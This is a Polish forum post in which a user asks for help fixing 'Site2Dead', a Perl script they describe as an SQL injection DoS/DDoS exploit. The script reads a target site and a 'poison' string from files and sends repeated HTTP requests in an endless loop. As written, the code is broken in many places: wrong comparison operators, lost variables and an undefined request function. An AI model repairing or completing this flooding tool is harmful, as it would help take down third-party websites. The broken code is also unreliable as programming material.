- Dołączył
- Wrzesień 24, 2011
- Posty
- 325
Witam. Pisze exploit SQL Injection Dos/DDoS "Site2Dead" i mam problem z kodem. Mógł by mi ktoś pomóc?
ZABRANIAM KOPIOWAĆ
Kod:
#!usr/bin/perl
#Site2Dead developed by VR8 @ NetSec
use LWP::UserAgent;
my $nave = LWP::UserAgent->new;
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$nave->timeout(5);
my $tfile = "foobar";
open (tfile, 'target.ini');
while (<tfile>) {
chomp;
my $target = <tfile>
}
my $pfile = "foobar";
open (pfile, 'poison.ini');
while (<pfile>) {
chomp;
my $poison = <pfile>
}
head();
if ($ARGV[0] = "-t") {
sett();
} else {
if ($ARGV[0] = "-p") {
setp();
} else {
if ($ARGV[0] = "-a") {
satt();
} else {
usage();
}}}
copyright();
sub sett {
open (settfile, '>>target.ini');
print settfile $ARGV[1]
}
sub setp {
open (setpfile, '>>poison.ini');
print setpfile $ARGV[1]
}
sub satt {
print "\n Target : ".$target."\n";
print " Attack starts\n";
while(true) {
$code = toma($target." ".$poison) or error();
unless($code->is_success) {
print " Success\n";
copyright();
}}}
sub usage {
print "\n Usage :\n -t target = Set target\n -p poison = Set poison\n -a variable = Start attack\n";
}
sub head {
print "\n---------------------------------------\n";
}
sub copyright {
print "\n---------------------------------------\n";
exit(1);
}
sub error {
print "\n Fail\n";
copyright();
}
sub sintax {
print "\n Syntax: $0 \n";
}ZABRANIAM KOPIOWAĆ
